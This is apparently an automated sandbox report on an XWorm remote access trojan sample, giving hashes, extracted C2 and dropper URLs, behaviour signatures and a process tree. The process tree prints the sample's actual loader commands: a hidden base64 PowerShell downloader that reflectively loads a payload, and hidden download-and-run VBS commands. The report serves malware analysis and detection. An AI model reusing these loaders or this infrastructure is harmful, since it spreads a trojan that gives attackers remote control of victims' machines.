xworm | ae04beb7b181f8f1e659d921855c66106af8c46192aed75bf870392572aa55ff

Analysis

max time kernel
125s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
03/02/2026, 13:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
yazi.vbs
Size 1.2MB
Sample260203-qsbttsbx2g
SHA256 ae04beb7b181f8f1e659d921855c66106af8c46192aed75bf870392572aa55ff
MD5 55a3bc2f1c346036ce1ffec609ad1532
SHA1 e91bf87d61c3ca2d9ef702ea4b28f5d2dc403a29
SHA512 756e9e5e476ace99d8d80bfc2aa1dc442260a81ce68ecbfc9a808175f8cc006ffc50a3ee59eebde188b7ce4b87948fde2bdc48b732015790ca6697106aa1f796
SSDEEP 768:61mSrMAZqBybIXIXhPGFyf7EoVhlDOmMbn8UkLZiDbVKgnFRTBlwDx:G
TLSH
T17A451536C182082AC3F515BE598DCD2F53ECF1547A443DC26EA2AF76807148AB7BE95C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence rat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://res.cloudinary.com/dy6a9cqng/image/upload/v1770082509/optimized_MSI_dkcy4m.jpg
exe.dropper
https://res.cloudinary.com/dy6a9cqng/image/upload/v1770082509/optimized_MSI_dkcy4m.jpg

Extracted

Family

xworm

Version

158.94.209.160:5600

Mutex

6TS8KJW21GswzBJI

Attributes

Install_directory
%AppData%
install_file
windows.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1824-11-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	1720	powershell.exe	80

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1996	powershell.exe
9	1996	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe
3908	powershell.exe
3816	powershell.exe
3908	powershell.exe
3816	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows.lnk	Msbuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows.lnk	Msbuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1996 set thread context of 1824	1996	powershell.exe	86

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1996	powershell.exe
1996	powershell.exe
3908	powershell.exe
3908	powershell.exe
3816	powershell.exe
3816	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	1824	Msbuild.exe
Token: SeDebugPrivilege	1824	Msbuild.exe
Token: SeDebugPrivilege	3908	powershell.exe
Token: SeDebugPrivilege	3816	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3480	conhost.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 2180	3480	conhost.exe	85
PID 1996 wrote to memory of 1824	1996	powershell.exe	86
PID 1996 wrote to memory of 1824	1996	powershell.exe	86
PID 1996 wrote to memory of 1824	1996	powershell.exe	86
PID 1996 wrote to memory of 1824	1996	powershell.exe	86
PID 1996 wrote to memory of 1824	1996	powershell.exe	86
PID 3940 wrote to memory of 3908	3940	conhost.exe	88
PID 2864 wrote to memory of 3816	2864	conhost.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\yazi.vbs"
1⤵
PID:3184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JEZyYW5rUmljaCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JEZyYW5rUmljaC5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCIpOyRGcmFua1JpY2guSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskRnJhbmtSaWNoLkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTskZGFsdG9uaWFuID0gJyFAIyQlwqgmKiUkI0AhIyUkJSQjQCEjJSQmwqglJCMlJCYqwqg1NDg3RDI1ODckJTQ1NjcjJCU6Ly9yZTI1ODckJTQ1NjcjJCUuY2xvdWRpbmFyeS5jb20vZHk2YTljcW5nL2ltYWdlL3UmwqglJCMlJCYqwqg1NDg3RGxvYWQvdjE3NzAwODI1MDkvbybCqCUkIyUkJirCqDU0ODdEJSQjQCEjJSRpbWl6ZWRfTVNJX2RrY3k0bS5qJsKoJSQjJSQmKsKoNTQ4N0RnJy5SZXBsYWNlKCchQCMkJcKoJionLCAnaCcpLlJlcGxhY2UoJyUkI0AhIyUkJywgJ3QnKS5SZXBsYWNlKCcmwqglJCMlJCYqwqg1NDg3RCcsICdwJykuUmVwbGFjZSgnMjU4NyQlNDU2NyMkJScsICdzJyk7JHNtYWNrZWQgPSAkRnJhbmtSaWNoLkRvd25sb2FkRGF0YSgkZGFsdG9uaWFuKTskY29uc2lzdG9yaWFuID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRzbWFja2VkKTtpZiAoJGNvbnNpc3RvcmlhbiAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgeyAgJGhheWluZyA9ICRtYXRjaGVzWzFdOyAgJGNhdGhvbHl0ZSA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhheWluZykpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVU5OZVZWVVRYcEJlazEzU1VSTk1rbEVUWGs0TVdJeWJGZGtlRXBZV1hZd01tSnFOV2xqYUZKdVdqRlNTRm96T1hsTU5rMUlZekJTU0dFbkxDY3dKeXduUXpwY1ZYTmxjbk5jVUhWaWJHbGpYRVJ2ZDI1c2IyRmtjMXduTENkT1lXMWxYMFpwYkdVbkxDZE5jMkoxYVd4a0p5d25KeXduVFhOaWRXbHNaQ2NzSnpFbkxDZFZVa3duTENkRE9seFZjMlZ5YzF4UWRXSnNhV05jUkc5M2JteHZZV1J6WENjc0owNWhiV1ZmUm1sc1pTY3NKM1ppY3ljc0p6RW5MQ2N3Snl3blZHRnphMTlPWVcxbEp5d25NQ2NzSnljc0p5Y3NKeWM9JzsgICRhcmdzU3RyaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYXJnc0Jhc2U2NCkpOyAgJGFyZ3MgPSAkYXJnc1N0cmluZyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgIFtTb2Z0d2FyZS5Qcm9ncmFtXS5HZXRNZXRob2QoIk1haW4iKS5JbnZva2UoJG51bGwsICRhcmdzKTt9')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1824

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:2180

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3908

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d
MD5 7f803908e5595ac7805479ffa4f4fc41
SHA1 42e1ba3a6f437dfcdaa03d714d56e807910fe69b
SHA512 a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d
TLSH
T13761DF313375B1D889163F07192C19C463BF8756FA94AF4CB658624ED92704B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aa8caa76ec253f875669f5028e7ca85934d080819f7586a92cfc9fa97a896a04
MD5 1c3ae02f9c461c736bd1841679f325be
SHA1 4ac06cb5b4d582b84c63cbc18dba80c849803b68
SHA512 b4e1436c97163c4a513bf7c8a54917883123650d04d9e618c0b6cbc436422304114c74cb1e9c38d4d9a5f3f021e8fd78e255befab842c92b05855848cdf0184e
TLSH
T174215B33B79CC135C89A117A108DAD01B1B5C3CB049FDECB7A84C518E57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d738b0832d04ca92b553800f33101fdb397adfa49f6fbb5be55cd644c7b99617
MD5 09e592e7115114453655fbd0ca663ffe
SHA1 d6dc7d7ffd89e49cfd2b4ee5be828df6a4bea6bd
SHA512 a7e0bb04cc0dff0bc7ffaf3c97b6d61e9b10e6c62b1865e88679fd96cca52579382afe8582e7e9e877f01edf11cdcb2fdfa0873c8c44a028c4f67bb7119e09b6
TLSH
T115218633B3ACC135C8D9117A108CAD01B2B1C3C7449ECE8B6B84C508A17F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rdnmfqex.xu1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rdnmfqex.xu1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1824-20-0x0000000006570000-0x0000000006602000-memory.dmp

Download

memory/1824-11-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/1824-14-0x0000000005200000-0x000000000529C000-memory.dmp

Download

memory/1824-19-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Download

memory/1824-21-0x0000000006BC0000-0x0000000007166000-memory.dmp

Download

memory/1996-10-0x0000021638600000-0x0000021638752000-memory.dmp

Download

memory/1996-1-0x000002161D320000-0x000002161D330000-memory.dmp

Download

memory/1996-0-0x000002161D320000-0x000002161D330000-memory.dmp

Download

memory/1996-9-0x000002161D320000-0x000002161D330000-memory.dmp

Download

memory/1996-8-0x00000216380D0000-0x00000216380F2000-memory.dmp

Download